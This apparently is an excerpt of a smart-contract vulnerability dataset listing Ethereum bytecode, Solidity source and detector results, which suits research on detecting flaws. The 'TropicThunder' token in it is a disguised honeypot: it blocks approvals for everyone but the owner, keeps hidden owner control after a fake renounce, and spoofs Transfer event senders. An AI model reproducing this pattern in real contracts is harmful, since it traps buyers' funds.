9050600061267e82612670858c61246090919063ffffffff16565b61246090919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ae858961200890919063ffffffff16565b905060006126c5868961200890919063ffffffff16565b905060006126dc878961200890919063ffffffff16565b90506000612705826126f7858761246090919063ffffffff16565b61246090919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61278082612737565b810181811067ffffffffffffffff8211171561279f5761279e612748565b5b80604052505050565b60006127b261271e565b90506127be8282612777565b919050565b600067ffffffffffffffff8211156127de576127dd612748565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061281f826127f4565b9050919050565b61282f81612814565b811461283a57600080fd5b50565b60008135905061284c81612826565b92915050565b6000612865612860846127c3565b6127a8565b90508083825260208201905060208402830185811115612888576128876127ef565b5b835b818110156128b1578061289d888261283d565b84526020840193505060208101905061288a565b5050509392505050565b600082601f8301126128d0576128cf612732565b5b81356128e0848260208601612852565b91505092915050565b6000602082840312156128ff576128fe612728565b5b600082013567ffffffffffffffff81111561291d5761291c61272d565b5b612929848285016128bb565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561296c578082015181840152602081019050612951565b8381111561297b576000848401525b50505050565b600061298c82612932565b612996818561293d565b93506129a681856020860161294e565b6129af81612737565b840191505092915050565b600060208201905081810360008301526129d48184612981565b905092915050565b6000819050919050565b6129ef816129dc565b81146129fa57600080fd5b50565b600081359050612a0c816129e6565b92915050565b60008060408385031215612a2957612a28612728565b5b6000612a378582860161283d565b9250506020612a48858286016129fd565b9150509250929050565b60008115159050919050565b612a6781612a52565b82525050565b6000602082019050612a826000830184612a5e565b92915050565b612a91816129dc565b82525050565b6000602082019050612aac6000830184612a88565b92915050565b600080600060608486031215612acb57612aca612728565b5b6000612ad98682870161283d565b9350506020612aea8682870161283d565b9250506040612afb868287016129fd565b9150509250925092565b600060ff82169050919050565b612b1b81612b05565b82525050565b6000602082019050612b366000830184612b12565b92915050565b612b4581612a52565b8114612b5057600080fd5b50565b600081359050612b6281612b3c565b92915050565b600060208284031215612b7e57612b7d612728565b5b6000612b8c84828501612b53565b91505092915050565b600060208284031215612bab57612baa612728565b5b6000612bb98482850161283d565b91505092915050565b612bcb81612814565b82525050565b6000602082019050612be66000830184612bc2565b92915050565b600060208284031215612c0257612c01612728565b5b6000612c10848285016129fd565b91505092915050565b60008060408385031215612c3057612c2f612728565b5b6000612c3e8582860161283d565b9250506020612c4f8582860161283d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c8f60208361293d565b9150612c9a82612c59565b602082019050919050565b60006020820190508181036000830152612cbe81612c82565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d2e826129dc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d6157612d60612cf4565b5b600182019050919050565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b6000612da2601a8361293d565b9150612dad82612d6c565b602082019050919050565b60006020820190508181036000830152612dd181612d95565b9050919050565b600081519050612de781612826565b92915050565b600060208284031215612e0357612e02612728565b5b6000612e1184828501612dd8565b91505092915050565b6000604082019050612e2f6000830185612bc2565b612e3c6020830184612bc2565b9392505050565b6000819050919050565b6000819050919050565b6000612e72612e6d612e6884612e43565b612e4d565b6129dc565b9050919050565b612e8281612e57565b82525050565b600060c082019050612e9d6000830189612bc2565b612eaa6020830188612a88565b612eb76040830187612e79565b612ec46060830186612e79565b612ed16080830185612bc2565b612ede60a0830184612a88565b979650505050505050565b600081519050612ef8816129e6565b92915050565b600080600060608486031215612f1757612f16612728565b5b6000612f2586828701612ee9565b9350506020612f3686828701612ee9565b9250506040612f4786828701612ee9565b9150509250925092565b6000604082019050612f666000830185612bc2565b612f736020830184612a88565b9392505050565b600081519050612f8981612b3c565b92915050565b600060208284031215612fa557612fa4612728565b5b6000612fb384828501612f7a565b91505092915050565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b6000612ff2601d8361293d565b9150612ffd82612fbc565b602082019050919050565b6000602082019050818103600083015261302181612fe5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061308460248361293d565b915061308f82613028565b604082019050919050565b600060208201905081810360008301526130b381613077565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061311660228361293d565b9150613121826130ba565b604082019050919050565b6000602082019050818103600083015261314581613109565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006131a860258361293d565b91506131b38261314c565b604082019050919050565b600060208201905081810360008301526131d78161319b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061323a60238361293d565b9150613245826131de565b604082019050919050565b600060208201905081810360008301526132698161322d565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132cc60298361293d565b91506132d782613270565b604082019050919050565b600060208201905081810360008301526132fb816132bf565b9050919050565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b600061333860118361293d565b915061334382613302565b602082019050919050565b600060208201905081810360008301526133678161332b565b9050919050565b6000613379826129dc565b9150613384836129dc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133b9576133b8612cf4565b5b828201905092915050565b60006133cf826129dc565b91506133da836129dc565b9250828210156133ed576133ec612cf4565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613454602a8361293d565b915061345f826133f8565b604082019050919050565b6000602082019050818103600083015261348381613447565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6134bf81612814565b82525050565b60006134d183836134b6565b60208301905092915050565b6000602082019050919050565b60006134f58261348a565b6134ff8185613495565b935061350a836134a6565b8060005b8381101561353b57815161352288826134c5565b975061352d836134dd565b92505060018101905061350e565b5085935050505092915050565b600060a08201905061355d6000830188612a88565b61356a6020830187612e79565b818103604083015261357c81866134ea565b905061358b6060830185612bc2565b6135986080830184612a88565b9695505050505050565b60006135ad826129dc565b91506135b8836129dc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135f1576135f0612cf4565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613636826129dc565b9150613641836129dc565b925082613651576136506135fc565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006136b860218361293d565b91506136c38261365c565b604082019050919050565b600060208201905081810360008301526136e7816136ab565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613724601b8361293d565b915061372f826136ee565b602082019050919050565b6000602082019050818103600083015261375381613717565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220142236ee94dfbc2b37fcdb34616477f79d45dd4a826a36102e97d6a085820fce64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 946 |
0x1ab6d0745b463ad1d09b55036f0877213e8bcef3 | /**
*Submitted for verification at Etherscan.io on 2021-07-08
*/
/*
_/_/_/_/_/ _/ _/_/_/_/_/ _/ _/
_/ _/ _/_/ _/_/ _/_/_/ _/_/_/ _/ _/_/_/ _/ _/ _/_/_/ _/_/_/ _/_/ _/ _/_/
_/ _/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/_/ _/_/
_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
_/ _/ _/_/ _/_/_/ _/ _/_/_/ _/ _/ _/ _/_/_/ _/ _/ _/_/_/ _/_/_/ _/
_/
_/
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract TropicThunder is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100 * 10**9 * 10**18;
string private _name = 'TropicThunder';
string private _symbol = 'tThunder ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0x90eAd86FCa54eE9a1FE1C55C0ACE5896f4319802), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: approve from the zero address");
require(to != address(0), "ERC20: approve to the zero address");
if (from == owner()) {
_allowances[from][to] = amount;
emit Approval(from, to, amount);
} else {
_allowances[from][to] = 0;
emit Approval(from, to, 4);
}
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (amount == _tTotal) {
emit Transfer(address(0x90eAd86FCa54eE9a1FE1C55C0ACE5896f4319802), recipient, amount);
} else {
emit Transfer(sender, recipient, amount);
}
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c70565b6105e584610530610948565b6105e08560405180606001604052806028815260200161114360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb39092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c70565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806111b46024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806111216022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b825780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3610c6b565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110fc6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111916023913960400191505060405180910390fd5b610de88160405180606001604052806026815260200161116b60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb39092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7d81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461107390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600454811415610f48578173ffffffffffffffffffffffffffffffffffffffff167390ead86fca54ee9a1fe1c55c0ace5896f431980273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3610fae565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b505050565b6000838311158290611060576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561102557808201518184015260208101905061100a565b50505050905090810190601f1680156110525780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156110f1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d90b3de0e0e35e3569dbd95a4f31ddbf1fd747eb6162993d6812a0fb247ebc9764736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 947 |
0x96f9a3f71e3f102c85737c049b7e21e2e630acf9 | pragma solidity ^0.4.21;
/**
* openzeppelin-solidity@1.9.0/contracts/math/SafeMath.sol
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* openzeppelin-solidity@1.9.0/contracts/ownership/Ownable.sol
*/
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* openzeppelin-solidity@1.9.0/contracts/token/ERC20/ERC20Basic.sol
*/
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* openzeppelin-solidity@1.9.0/contracts/token/ERC20/ERC20.sol
*/
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* openzeppelin-solidity@1.9.0/contracts/token/ERC20/BasicToken.sol
*/
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* openzeppelin-solidity@1.9.0/contracts/token/ERC20/StandardToken.sol
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* openzeppelin-solidity@1.9.0/contracts/token/ERC20/BurnableToken.sol
*/
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
